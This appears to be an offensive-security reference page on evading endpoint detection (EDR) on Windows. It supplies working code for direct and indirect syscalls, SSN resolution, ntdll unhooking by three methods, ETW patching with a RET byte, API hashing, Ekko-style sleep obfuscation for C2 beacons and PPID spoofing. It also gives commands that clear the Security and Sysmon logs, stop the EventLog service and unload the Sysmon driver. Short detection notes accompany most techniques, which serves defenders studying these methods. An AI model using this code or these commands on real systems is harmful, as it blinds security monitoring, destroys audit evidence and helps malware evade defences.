EDR Evasion

EDR evasion techniques: direct and indirect syscalls, NTDLL unhooking, ETW patching, API hashing, userland hook bypass, and sleep obfuscation.

#EDR Architecture

#How EDR Hooks Work

EDR products inject a DLL into every user-mode process at startup (typically via AppInit_DLLs, Image File Execution Options, or a kernel minifilter callback). This DLL performs inline hooking on ntdll.dll - the lowest user-mode layer before the kernel - replacing the first bytes of critical function prologues with a JMP instruction that redirects execution into the EDR's inspection code. Every evasion technique on this page exploits the fact that these hooks exist entirely in user-mode memory that the process itself can read and modify.

EDR Hooking Flow

1
Application Call App → ntdll.dll

Application calls an NT API function such as NtCreateThreadEx(). High-level APIs like CreateRemoteThread (kernel32) eventually funnel through ntdll, which is the mandatory gateway for every user-to-kernel transition.

2
ntdll.dll Syscall Stub User-mode

The ntdll stub executes: mov r10, rcx; mov eax, SSN; syscall. This is a short sequence that loads the syscall number (SSN) into EAX and transitions to ring 0. No inspection, no filtering.

3
syscall Instruction Ring 3 → Ring 0

The syscall instruction triggers a privilege transition from user-mode (ring 3) to kernel-mode (ring 0). The kernel uses the SSN in EAX to index into the System Service Descriptor Table (SSDT) and dispatch the correct kernel function.

4
Kernel Processes Request Ring 0

The kernel executes the requested operation (allocate memory, create thread, etc.) and stores the result in EAX as an NTSTATUS code.

Result Returned Normal flow complete

NTSTATUS is returned to the caller. No interception, no telemetry, no behavioral analysis occurred. This is the clean path that evasion techniques aim to replicate.

Evasion Technique Reference

Technique Targets Step Mechanism Detection
Direct Syscall Step 2 Execute syscall from own code, skip ntdll Return address outside ntdll
Indirect Syscall Step 2 JMP to syscall;ret gadget in ntdll Full stack walk reveals unbacked frames
Unhooking Step 2 Restore clean ntdll bytes from disk/KnownDlls/suspended Minifilter I/O, VirtualProtect on ntdll, periodic integrity checks
API Hashing Step 3 Resolve APIs via PEB walk + hash, avoid IAT strings PEB walking heuristic, known hash constants
Module Stomping Step 3 Execute shellcode from legitimate DLL memory Memory vs disk comparison (PE-sieve)

What gets hooked: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, NtMapViewOfSection, NtQueueApcThread, NtCreateProcess/Ex, NtOpenProcess.

The EDR DLL saves the original function bytes (trampoline), so after inspection it can reconstruct and execute the original syscall. The entire chain runs in user-mode - this is the fundamental weakness that all techniques on this page exploit.

#Hooked vs Unhooked Prologue

A normal ntdll syscall stub is a short sequence: move the syscall number into EAX, put the first argument into R10, then execute the syscall instruction. EDR hooks overwrite the first ~5 bytes of this stub with a JMP (relative or absolute) that redirects to the EDR's inspection routine. The original bytes are saved so the EDR can execute the real syscall after inspection.

Detection: Comparing the first byte against 0x4C (the expected mov r10, rcx) is the simplest hook-detection check - any other value means the prologue has been tampered with.

; Normal (unhooked) ntdll stub
NtAllocateVirtualMemory:
  mov r10, rcx           ; 4C 8B D1
  mov eax, 0x18          ; B8 18 00 00 00 (syscall number)
  syscall                ; 0F 05
  ret                    ; C3

; Hooked by EDR (first bytes overwritten)
NtAllocateVirtualMemory:
  jmp 0x7FF812340000     ; E9 xx xx xx xx -> EDR DLL
  nop                    ; 90 (padding)
  nop                    ; 90
  nop                    ; 90
  syscall                ; 0F 05 (sometimes left intact)
  ret                    ; C3

Detection check: read the first byte of any ntdll export. If it is 0xE9 (JMP near) or 0xFF 0x25 (JMP qword ptr) instead of 0x4C (mov r10, rcx), the function is hooked.

BOOL IsHooked(const char* funcName) {
    BYTE* pFunc = (BYTE*)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), funcName);
    // Unhooked stub starts with: mov r10, rcx (4C 8B D1)
    return (pFunc[0] != 0x4C);
}

#Common EDR Products

Product Vendor Hook Method
Falcon CrowdStrike Kernel callbacks + userland hooks
Singularity SentinelOne Userland hooks + kernel driver
Defender for Endpoint Microsoft AMSI + ETW + kernel sensors
Carbon Black VMware (Broadcom) Userland hooks + kernel filter
Cortex XDR Palo Alto Agent hooks + behavioral AI
Elastic Security Elastic Userland hooks + kernel driver
Intercept X Sophos Userland hooks + deep learning
PROTECT Cylance Pre-execution ML + hooks
ESET PROTECT ESET Userland hooks + HIPS kernel driver

#Syscalls

#Direct Syscalls

Instead of calling ntdll.dll functions (which EDR hooks via JMP patches), direct syscalls execute the syscall instruction from your own code. This completely bypasses userland hooks since the call never touches ntdll. The downside: syscall numbers change between Windows versions, so you need runtime resolution or version-specific stubs.

Detection: EDR can detect syscall instructions originating from non-ntdll memory regions via kernel callbacks or InstrumentationCallback.

// Direct syscall stub in MASM x64
// Bypasses ntdll hooks entirely - the syscall instruction
// executes from our .text section, never touching ntdll
//
// NtAllocateVirtualMemory syscall number = 0x18 (Win10 21H2)

.code
NtAllocateVirtualMemory PROC
    mov r10, rcx          ; first param to r10 (kernel expects it)
    mov eax, 18h          ; syscall number (SSN)
    syscall               ; transition to kernel
    ret
NtAllocateVirtualMemory ENDP

NtWriteVirtualMemory PROC
    mov r10, rcx
    mov eax, 3Ah          ; SSN for NtWriteVirtualMemory (Win10 21H2)
    syscall
    ret
NtWriteVirtualMemory ENDP

NtProtectVirtualMemory PROC
    mov r10, rcx
    mov eax, 50h          ; SSN for NtProtectVirtualMemory (Win10 21H2)
    syscall
    ret
NtProtectVirtualMemory ENDP

Rust (inline ASM, nightly):

// Direct syscall in Rust using inline assembly (stable since 1.59)
// Equivalent to the MASM stub above

use std::arch::asm;

unsafe fn nt_allocate_virtual_memory(
    handle: *mut std::ffi::c_void,
    base_addr: *mut *mut std::ffi::c_void,
    zero_bits: usize,
    region_size: *mut usize,
    alloc_type: u32,
    protect: u32,
) -> i32 {
    let status: i32;
    asm!(
        "mov r10, rcx",
        "mov eax, 0x18",
        "syscall",
        in("rcx") handle,
        in("rdx") base_addr,
        in("r8") zero_bits,
        in("r9") region_size,
        // alloc_type and protect go on shadow stack
        lateout("rax") status,
        clobber_abi("C"),
    );
    status
}

Pros: Completely bypasses userland hooks - the JMP in ntdll is never executed.

Cons: The syscall instruction executes from your module's memory range (e.g. 0x00007FF6xxxxxxxx), not from ntdll (0x00007FFxxxxxxxxx). Modern EDRs with kernel callbacks (InstrumentationCallback or PsSetCreateThreadNotifyRoutine) inspect the return address on the kernel stack and flag syscalls originating outside ntdll. Also, SSNs change across Windows builds.

#Indirect Syscalls

Indirect syscalls set up the registers (r10, eax) in your own code but then JMP to the syscall; ret gadget inside ntdll's address space instead of executing syscall locally. This means the return address on the kernel stack points back into ntdll, which is exactly what legitimate calls look like. It combines the hook bypass of direct syscalls with a clean return address that defeats kernel callback inspection.

Detection: Some EDRs now validate the full call stack, not just the immediate return address, which can catch indirect syscalls if the preceding frames are suspicious.

; Indirect syscall - the syscall instruction runs from ntdll's address space
; We set up registers ourselves but JMP to the syscall;ret gadget inside ntdll
; This defeats return-address-based detection

.data
    syscallAddr QWORD 0   ; filled at runtime with ntdll!NtXxx+0x12

.code
NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, 18h
    jmp qword ptr [syscallAddr]   ; jumps to syscall;ret inside ntdll
NtAllocateVirtualMemory ENDP
// Runtime setup: find the syscall;ret gadget address
void ResolveSyscallAddr(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    BYTE* pFunc = (BYTE*)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

    // Walk forward to find 0F 05 C3 (syscall; ret)
    for (int i = 0; i < 32; i++) {
        if (pFunc[i] == 0x0F && pFunc[i+1] == 0x05 && pFunc[i+2] == 0xC3) {
            syscallAddr = (QWORD)&pFunc[i];
            break;
        }
    }
}

Why it works: When the kernel or EDR inspects the return address on the thread stack, it sees an address inside ntdll.dll - exactly what a legitimate call looks like. The EDR's userland hook is still bypassed because we never execute through the hooked prologue.

#Syscall Number Resolution

Syscall numbers (SSNs) change across Windows builds, so hardcoding them is fragile. HellsGate resolves SSNs at runtime by reading the mov eax, <SSN> instruction directly from ntdll's stub in memory. HalosGate extends this - if the target stub is hooked (first bytes overwritten), it searches neighboring stubs (which are 32 bytes apart) and calculates the target SSN by offset arithmetic. This means you can resolve SSNs even when the EDR has hooked the specific function you need.

Detection: Walking ntdll memory to read stub bytes is not inherently suspicious, but combining it with syscall execution is a known pattern.

// Runtime SSN resolution from ntdll export table
// Works even when ntdll is partially hooked (HellsGate / HalosGate approach)

DWORD GetSyscallNumber(const char* funcName) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    BYTE* pFunc = (BYTE*)GetProcAddress(hNtdll, funcName);

    // Case 1: function is NOT hooked
    // Expected pattern: 4C 8B D1 B8 xx xx 00 00
    if (pFunc[0] == 0x4C && pFunc[3] == 0xB8) {
        return *(DWORD*)(pFunc + 4);
    }

    // Case 2: function IS hooked - HalosGate neighbor search
    // Walk up and down to nearby syscall stubs (they're 32 bytes apart)
    for (DWORD i = 1; i < 500; i++) {
        // Search downward (higher SSN neighbors)
        BYTE* pDown = pFunc + (i * 32);
        if (pDown[0] == 0x4C && pDown[3] == 0xB8) {
            return *(DWORD*)(pDown + 4) - i;
        }
        // Search upward (lower SSN neighbors)
        BYTE* pUp = pFunc - (i * 32);
        if (pUp[0] == 0x4C && pUp[3] == 0xB8) {
            return *(DWORD*)(pUp + 4) + i;
        }
    }

    return 0;  // resolution failed
}

SSN sorting (FreshyCalls approach): Export all Zw* functions from ntdll's EAT, sort by address. The index in the sorted array equals the SSN (syscall numbers are assigned sequentially by address order).

#Syscall Tools

Tool Language Technique
SysWhispers2 C/ASM Direct syscalls with runtime SSN resolution (sort-by-address)
SysWhispers3 C/ASM Direct + indirect syscalls, syscall;ret gadget resolution
HellsGate C/ASM Runtime SSN resolution from potentially hooked ntdll
HalosGate C/ASM HellsGate + neighbor stub search when target is hooked
TartarusGate C/ASM Improved gate with multi-byte hook pattern detection
RecycledGate C/ASM Indirect syscalls via JMP RBX gadget for stack spoofing
FreshyCalls C# SSN resolution by sorting Zw* exports from EAT
SharpWhispers C# Managed direct syscalls via DynamicMethod emit

#SSN Table (Win10/11 Selected)

Function Win10 1809 Win10 21H2 Win11 22H2
NtAllocateVirtualMemory 0x18 0x18 0x18
NtProtectVirtualMemory 0x50 0x50 0x50
NtWriteVirtualMemory 0x3A 0x3A 0x3A
NtCreateThreadEx 0xBD 0xC1 0xC2
NtOpenProcess 0x26 0x26 0x26
NtQueueApcThread 0x45 0x45 0x45
NtMapViewOfSection 0x28 0x28 0x28
NtCreateSection 0x4A 0x4A 0x4A

#NTDLL Unhooking

#Fresh Copy from Disk

This technique reads a pristine copy of ntdll.dll from C:\Windows\System32\, maps it into memory, then overwrites the hooked .text section of the currently loaded ntdll with the clean bytes. Since the on-disk copy has no EDR hooks (hooks are applied in-memory after load), this restores all function prologues to their original state and removes every userland hook in one pass.

Detection: EDRs with kernel minifilters can detect the CreateFile read of ntdll.dll from disk. The VirtualProtect call changing ntdll's .text to RWX is also a known indicator.

// Read a clean copy of ntdll.dll from disk and overwrite the hooked .text section
// This removes all userland hooks placed by the EDR

// Step 1: Map clean ntdll from disk
HANDLE hFile = CreateFileA(
    "C:\\Windows\\System32\\ntdll.dll",
    GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID pClean = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);

// Step 2: Get the base address of the currently loaded (hooked) ntdll
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

// Step 3: Parse PE headers to locate .text section
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);

for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
    if (!strcmp((char*)pSection[i].Name, ".text")) {
        DWORD oldProtect;

        // Make .text writable
        VirtualProtect(
            (BYTE*)hNtdll + pSection[i].VirtualAddress,
            pSection[i].Misc.VirtualSize,
            PAGE_EXECUTE_READWRITE, &oldProtect);

        // Overwrite hooked .text with clean copy from disk
        memcpy(
            (BYTE*)hNtdll + pSection[i].VirtualAddress,
            (BYTE*)pClean + pSection[i].PointerToRawData,
            pSection[i].Misc.VirtualSize);

        // Restore original page protection
        VirtualProtect(
            (BYTE*)hNtdll + pSection[i].VirtualAddress,
            pSection[i].Misc.VirtualSize,
            oldProtect, &oldProtect);
        break;
    }
}

// Cleanup
UnmapViewOfFile(pClean);
CloseHandle(hMapping);
CloseHandle(hFile);

#Fresh Copy from KnownDlls

The \KnownDlls\ object directory contains pre-mapped section objects for commonly used DLLs, created at boot by smss.exe. Opening ntdll via NtOpenSection on this path returns a clean, cached copy without generating any file I/O events. This bypasses minifilter-based detections that monitor disk reads of system DLLs, since the section object is already in memory from boot time.

Detection: NtOpenSection calls targeting \KnownDlls\ntdll.dll can still be logged via ETW or object access auditing, but fewer EDRs monitor this path compared to direct disk reads.

// Use the KnownDlls section object - avoids disk I/O entirely
// KnownDlls are cached section objects created at boot by smss.exe

HANDLE hSection = NULL;
UNICODE_STRING name;
OBJECT_ATTRIBUTES oa;

RtlInitUnicodeString(&name, L"\\KnownDlls\\ntdll.dll");
InitializeObjectAttributes(&oa, &name,
    OBJ_CASE_INSENSITIVE, NULL, NULL);

NTSTATUS status = NtOpenSection(
    &hSection, SECTION_MAP_READ, &oa);

if (NT_SUCCESS(status)) {
    PVOID pClean = NULL;
    SIZE_T viewSize = 0;

    NtMapViewOfSection(
        hSection,
        NtCurrentProcess(),
        &pClean,
        0, 0, NULL,
        &viewSize,
        ViewUnmap,
        0,
        PAGE_READONLY);

    // Overwrite hooked .text section using same
    // PE parsing logic as the disk method above
    OverwriteTextSection(pClean);

    NtUnmapViewOfSection(NtCurrentProcess(), pClean);
    NtClose(hSection);
}

Advantage: No file I/O events are generated, so minifilter-based detections that monitor reads of ntdll.dll are bypassed.

#Perun's Fart (Suspended Process)

A process created with CREATE_SUSPENDED has not yet executed LdrInitializeThunk, which is the point where the EDR's injected DLL gets loaded and applies hooks. This means the ntdll in the suspended process is completely clean. By using ReadProcessMemory to copy its .text section into our own process, we get pristine bytes without touching disk or KnownDlls.

Detection: Creating a suspended process and immediately reading its memory without resuming it is a behavioral pattern that some EDRs flag. The combination of CREATE_SUSPENDED + ReadProcessMemory + TerminateProcess is a known signature.

// Create a suspended process and steal its clean ntdll
// The EDR hooks are applied by a DLL loaded via LdrInitializeThunk
// A suspended process has not yet executed LdrInitializeThunk -> clean ntdll

STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };

CreateProcessA(
    "C:\\Windows\\System32\\notepad.exe", NULL,
    NULL, NULL, FALSE,
    CREATE_SUSPENDED,
    NULL, NULL, &si, &pi);

// Get ntdll base in remote process (same address due to ASLR sharing)
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

// Parse PE to find .text section size
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);

for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
    if (!strcmp((char*)pSection[i].Name, ".text")) {
        SIZE_T bytesRead;
        BYTE* pCleanText = (BYTE*)malloc(pSection[i].Misc.VirtualSize);

        // Read clean .text from suspended process
        ReadProcessMemory(
            pi.hProcess,
            (BYTE*)hNtdll + pSection[i].VirtualAddress,
            pCleanText,
            pSection[i].Misc.VirtualSize,
            &bytesRead);

        // Overwrite our hooked .text
        DWORD oldProtect;
        VirtualProtect(
            (BYTE*)hNtdll + pSection[i].VirtualAddress,
            pSection[i].Misc.VirtualSize,
            PAGE_EXECUTE_READWRITE, &oldProtect);

        memcpy(
            (BYTE*)hNtdll + pSection[i].VirtualAddress,
            pCleanText,
            pSection[i].Misc.VirtualSize);

        VirtualProtect(
            (BYTE*)hNtdll + pSection[i].VirtualAddress,
            pSection[i].Misc.VirtualSize,
            oldProtect, &oldProtect);

        free(pCleanText);
        break;
    }
}

// Kill the suspended process
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

#Unhooking Comparison

Method Disk I/O Suspicious API Calls Stealth Level
Disk copy (System32\ntdll.dll) Yes CreateFileA, MapViewOfFile Medium
KnownDlls section object No NtOpenSection High
Suspended process (Perun's Fart) No CreateProcess(SUSPENDED), ReadProcessMemory Medium-High
Debug ntdll (ntdll_1.dll) No Section object access High
Manual map from disk Yes Raw file read + manual reloc High
Remap from \KnownDlls No NtOpenSection + NtMapViewOfSection High

#Unhooking from Disk (Rust)

// Rust ntdll unhooking from disk using windows-sys crate
use windows_sys::Win32::Foundation::*;
use windows_sys::Win32::System::LibraryLoader::*;
use windows_sys::Win32::System::Memory::*;
use windows_sys::Win32::Storage::FileSystem::*;
use windows_sys::Win32::System::SystemServices::*;

unsafe fn unhook_ntdll() {
    // Map clean ntdll from disk
    let path = b"C:\\Windows\\System32\\ntdll.dll\0";
    let h_file = CreateFileA(
        path.as_ptr(), GENERIC_READ,
        FILE_SHARE_READ, std::ptr::null(),
        OPEN_EXISTING, 0, 0);
    let h_map = CreateFileMappingA(
        h_file, std::ptr::null(), PAGE_READONLY,
        0, 0, std::ptr::null());
    let p_clean = MapViewOfFile(h_map, FILE_MAP_READ, 0, 0, 0);

    // Get loaded ntdll base
    let base = GetModuleHandleA(b"ntdll.dll\0".as_ptr());

    // Parse PE headers to find .text section
    let dos = base as *const IMAGE_DOS_HEADER;
    let nt = (base as usize + (*dos).e_lfanew as usize)
        as *const IMAGE_NT_HEADERS64;
    let num_sections = (*nt).FileHeader.NumberOfSections as usize;
    let first_sec = (nt as usize
        + std::mem::size_of::<IMAGE_NT_HEADERS64>())
        as *const IMAGE_SECTION_HEADER;

    for i in 0..num_sections {
        let sec = &*first_sec.add(i);
        if sec.Name.starts_with(b".text") {
            let mut old: u32 = 0;
            let va = sec.VirtualAddress as usize;
            let size = sec.Misc.VirtualSize as usize;
            let dst = (base as usize + va) as *mut u8;
            let src = (p_clean as usize
                + sec.PointerToRawData as usize) as *const u8;

            VirtualProtect(dst as _, size,
                PAGE_EXECUTE_READWRITE, &mut old);
            std::ptr::copy_nonoverlapping(src, dst, size);
            VirtualProtect(dst as _, size, old, &mut old);
            break;
        }
    }

    UnmapViewOfFile(p_clean);
    CloseHandle(h_map);
    CloseHandle(h_file);
}

#ETW & Logging Bypass

#ETW Patch (EtwEventWrite)

Event Tracing for Windows (ETW) is the telemetry backbone that feeds data to EDRs, AMSI, and the Windows Event Log. EtwEventWrite is the central function through which all userland ETW providers emit events - .NET CLR events, PowerShell script block logging, threat intelligence tracing, and more. Patching its first byte with 0xC3 (RET) makes the function return immediately without logging anything, blinding all ETW consumers in the process.

Detection: Integrity checks on EtwEventWrite's prologue (comparing against the on-disk copy) will catch this patch. Some EDRs also monitor VirtualProtect calls targeting ntdll memory.

// Patch EtwEventWrite in ntdll to disable ETW-based telemetry
// Writing a single RET (0xC3) at the function entry makes every
// ETW event silently return without logging

DWORD oldProtect;
BYTE patch[] = { 0xC3 };  // ret

void* pEtwEventWrite = GetProcAddress(
    GetModuleHandleA("ntdll.dll"), "EtwEventWrite");

VirtualProtect(pEtwEventWrite, 1,
    PAGE_EXECUTE_READWRITE, &oldProtect);

memcpy(pEtwEventWrite, patch, sizeof(patch));

VirtualProtect(pEtwEventWrite, 1,
    oldProtect, &oldProtect);

What this kills: All userland ETW providers in the current process, including .NET runtime events, PowerShell script block events, threat intelligence ETW, and AMSI trace events.

Variant - patch EtwEventRegister: prevents providers from registering in the first place.

// Also consider patching NtTraceEvent for kernel-level ETW
void* pNtTraceEvent = GetProcAddress(
    GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
// Same patch: 0xC3 at entry

#ETW Patch (C# / PowerShell)

// C# ETW patch using P/Invoke
using System.Runtime.InteropServices;

[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr lpAddress,
    UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32.dll")]
static extern IntPtr GetModuleHandle(string lpModuleName);

public static void PatchEtw() {
    IntPtr pEtw = GetProcAddress(
        GetModuleHandle("ntdll.dll"), "EtwEventWrite");

    VirtualProtect(pEtw, (UIntPtr)1, 0x40, out uint oldProtect);
    Marshal.WriteByte(pEtw, 0xC3);
    VirtualProtect(pEtw, (UIntPtr)1, oldProtect, out _);
}
# PowerShell one-liner concept (requires Add-Type for P/Invoke)
# Patch EtwEventWrite with RET
$ntdll = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (Get-ProcAddr ntdll.dll EtwEventWrite),
    [Func[IntPtr,Int32,Int32,Int64,Int32]])

Rust:

use windows_sys::Win32::System::LibraryLoader::*;
use windows_sys::Win32::System::Memory::*;

unsafe fn patch_etw() {
    let h = GetModuleHandleA(b"ntdll.dll\0".as_ptr());
    let p = GetProcAddress(h, b"EtwEventWrite\0".as_ptr());
    if let Some(addr) = p {
        let mut old: u32 = 0;
        VirtualProtect(
            addr as _, 1,
            PAGE_EXECUTE_READWRITE, &mut old);
        *(addr as *mut u8) = 0xC3; // ret
        VirtualProtect(
            addr as _, 1, old, &mut old);
    }
}

#Event Log Tampering

Driver-level:

  • Unload Sysmon driver: fltMC.exe unload SysmonDrv
  • Requires admin/SYSTEM privileges
  • Detected by EDRs that monitor driver unload events

Log clearing:

# Clear specific event logs
wevtutil cl Security
wevtutil cl System
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"

# Disable event log service (requires SYSTEM)
sc stop EventLog

Phantom (by SpecterOps):

  • Enumerate threads in the Event Log service process
  • Identify threads responsible for writing specific log channels
  • Suspend those threads - logs are silently dropped
  • Service appears healthy, but events never reach disk

Thread-specific ETW:

  • Patch the _TEB.EtwTraceData field per thread
  • Set the provider enable mask to 0 for targeted providers

#Logging Targets

Source What It Logs Bypass Technique
ETW (EtwEventWrite) .NET, PowerShell, API calls Patch with RET (0xC3)
AMSI (AmsiScanBuffer) Script content before execution Patch / reflection / HW BP
Sysmon Process, network, file, registry events Driver unload / Phantom
Script Block Logging Full PowerShell script blocks (EID 4104) Reflection disable / downgrade to v2
Windows Event Log Security audit events Phantom / log clear / service stop
Kernel Callbacks Process/thread/image creation Kernel driver required (DSE bypass)
ETW Threat Intelligence Suspicious syscall patterns Kernel-level only (NtTraceEvent)

#Advanced Techniques

#API Hashing

Static analysis tools and YARA rules scan binaries for suspicious import strings like "VirtualAlloc", "CreateRemoteThread", or "NtWriteVirtualMemory". API hashing replaces these readable strings with precomputed hash values, then resolves function addresses at runtime by walking the PEB's loaded module list and hashing each export name until a match is found. This removes all suspicious strings from the binary's IAT and .rdata section.

Detection: The PEB-walking pattern itself (reading __readgsqword(0x60) then traversing InMemoryOrderModuleList) is a well-known shellcode indicator that some EDRs detect via heuristics.

// Resolve functions by hash to avoid suspicious
// import strings ("VirtualAlloc", "CreateRemoteThread")
// in the binary's IAT or string table

// DJB2 hash algorithm
DWORD djb2_hash(const char* str) {
    DWORD hash = 5381;
    int c;
    while ((c = *str++))
        hash = ((hash << 5) + hash) + c;
    return hash;
}

// Walk PEB -> Ldr -> InMemoryOrderModuleList
// to find loaded modules without calling any API
FARPROC GetFuncByHash(DWORD dwModHash,
                       DWORD dwFuncHash) {
    PPEB pPeb = (PPEB)__readgsqword(0x60);
    PLIST_ENTRY pHead =
        &pPeb->Ldr->InMemoryOrderModuleList;
    PLIST_ENTRY pEntry = pHead->Flink;

    while (pEntry != pHead) {
        PLDR_DATA_TABLE_ENTRY pMod =
            CONTAINING_RECORD(pEntry,
                LDR_DATA_TABLE_ENTRY,
                InMemoryOrderLinks);

        // Hash module name, compare with dwModHash
        // If match, walk Export Address Table (EAT)
        // Hash each export name, compare with dwFuncHash
        // If match, return function address

        pEntry = pEntry->Flink;
    }
    return NULL;
}

// Usage: no strings in binary
#define H_KERNEL32       0x6A4ABC5B
#define H_VIRTUALALLOC   0x91AFCA54
FARPROC pVirtualAlloc = GetFuncByHash(
    H_KERNEL32, H_VIRTUALALLOC);

#Sleep Obfuscation

C2 implants spend most of their time sleeping (typically 30-60s between callbacks). Memory scanners like YARA, PE-sieve, and Moneta scan process memory during these idle periods looking for known beacon signatures. Sleep obfuscation encrypts the implant's entire memory region before entering sleep and decrypts it when the timer fires, so the scanner's window is reduced to the brief active execution period. Advanced variants (Ekko, Foliage) also flip memory protection to RW (no execute) during sleep, defeating scanners that look for executable private memory.

Ekko:

// Ekko sleep obfuscation (simplified concept)
// 1. Create a timer queue timer
// 2. Timer callback: decrypt beacon, resume execution
// 3. Before sleep: encrypt beacon memory, queue timer

void EkkoSleep(DWORD dwSleepMs, BYTE* pBeacon,
               SIZE_T beaconSize, BYTE* key) {
    HANDLE hTimer = NULL;
    HANDLE hEvent = CreateEventA(NULL, FALSE, FALSE, NULL);

    // Encrypt beacon memory before sleeping
    XorEncrypt(pBeacon, beaconSize, key);

    // Change memory protection to RW (no execute)
    DWORD oldProtect;
    VirtualProtect(pBeacon, beaconSize,
        PAGE_READWRITE, &oldProtect);

    // Create timer to fire after sleep period
    // Timer callback will decrypt and restore RX
    CreateTimerQueueTimer(&hTimer, NULL,
        (WAITORTIMERCALLBACK)DecryptCallback,
        pBeacon, dwSleepMs, 0,
        WT_EXECUTEINTIMERTHREAD);

    // Block until timer fires (real Ekko uses NtContinue
    // ROP chain with SystemFunction032 for RC4 encryption)
    WaitForSingleObject(hEvent, dwSleepMs + 1000);

    // Cleanup
    DeleteTimerQueueTimer(NULL, hTimer, NULL);
    CloseHandle(hEvent);
}

void DecryptCallback(PVOID pBeacon, BOOLEAN bFired) {
    // Decrypt beacon memory
    XorEncrypt((BYTE*)pBeacon, gBeaconSize, gKey);
    // Restore execute permission
    DWORD oldProtect;
    VirtualProtect(pBeacon, gBeaconSize,
        PAGE_EXECUTE_READ, &oldProtect);
}

Techniques comparison:

Technique Mechanism ROP APC Thread State
Ekko Timer queue timers + NtContinue context chain Yes No Alertable wait
Foliage NtQueueApcThread + encryption No Yes APC wait
DeathSleep ROP chain for encrypt/sleep/decrypt Yes No Non-alertable
Cronos Threadpool timers (TpAllocTimer) No No Threadpool wait

Why it matters: Memory scanners (YARA, PE-sieve, Moneta) scan process memory for known beacon signatures. If the beacon is encrypted during its ~60s sleep cycle, the scanner only has a brief window (during execution) to catch it.

#Stack Spoofing

When a syscall is made, EDRs with kernel callbacks walk the thread's call stack to see which code triggered the call. Legitimate calls produce a clean chain (e.g., kernel32 -> ntdll), while shellcode or injected code produces return addresses pointing to unbacked private memory or unknown modules. Stack spoofing overwrites the return addresses on the stack with pointers to legitimate functions before making the call, fabricating a plausible call chain.

Detection: Some EDRs now validate stack frame integrity by checking that return addresses align with actual CALL instruction boundaries (return address - 5 should be a CALL opcode).

EDRs with kernel callbacks inspect the call stack when a syscall is made. If the return addresses point to unbacked memory (shellcode) or suspicious modules, the call is flagged.

Stack spoofing replaces return addresses on the stack with addresses pointing to legitimate code (e.g., kernel32!BaseThreadInitThunk, ntdll!RtlUserThreadStart).

// Simplified stack spoof concept
// Before making a suspicious API call:
// 1. Save real return address
// 2. Overwrite stack frames with synthetic frames
// 3. Make the API call
// 4. In callback/return, restore real stack

// Tools that implement this:
// - CallStackSpoofer (countercept)
// - ThreadStackSpoofer (mgeeky)
// - Unwinder (TrustedSec)

Synthetic frame chain example:

[Top of stack]
ntdll!NtAllocateVirtualMemory  <- our call
ntdll!RtlAllocateHeap          <- fake frame
kernel32!HeapAlloc             <- fake frame
kernel32!BaseThreadInitThunk   <- fake frame
ntdll!RtlUserThreadStart       <- fake frame

The EDR sees what looks like a normal heap allocation chain instead of suspicious shellcode calling NtAllocateVirtualMemory directly.

#PPID Spoofing

EDRs and Sysmon analyze parent-child process relationships to detect anomalies - for example, cmd.exe spawned by winword.exe is suspicious because Word should not launch command interpreters. PPID spoofing uses the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute to assign a different parent to the child process, making it appear as if a trusted process (like explorer.exe) spawned it.

Detection: The kernel's EPROCESS.InheritedFromUniqueProcessId reflects the real creator, and Sysmon EID 1 logs both the real and attributed parent. Comparing these two values reveals spoofing.

// Make our child process appear as a child of
// explorer.exe (or svchost, etc.) instead of
// our suspicious parent process

SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(
    NULL, 1, 0, &attrSize);

LPPROC_THREAD_ATTRIBUTE_LIST pAttrList =
    (LPPROC_THREAD_ATTRIBUTE_LIST)
    HeapAlloc(GetProcessHeap(), 0, attrSize);

InitializeProcThreadAttributeList(
    pAttrList, 1, 0, &attrSize);

// Open handle to desired parent (explorer.exe)
DWORD explorerPid = FindProcessId(
    L"explorer.exe");
HANDLE hParent = OpenProcess(
    PROCESS_CREATE_PROCESS,
    FALSE, explorerPid);

UpdateProcThreadAttribute(
    pAttrList, 0,
    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
    &hParent, sizeof(HANDLE), NULL, NULL);

STARTUPINFOEXW si = { 0 };
si.StartupInfo.cb = sizeof(si);
si.lpAttributeList = pAttrList;
PROCESS_INFORMATION pi = { 0 };

CreateProcessW(
    NULL, L"cmd.exe", NULL, NULL, FALSE,
    EXTENDED_STARTUPINFO_PRESENT |
    CREATE_NEW_CONSOLE,
    NULL, NULL,
    &si.StartupInfo, &pi);

// Cleanup
DeleteProcThreadAttributeList(pAttrList);
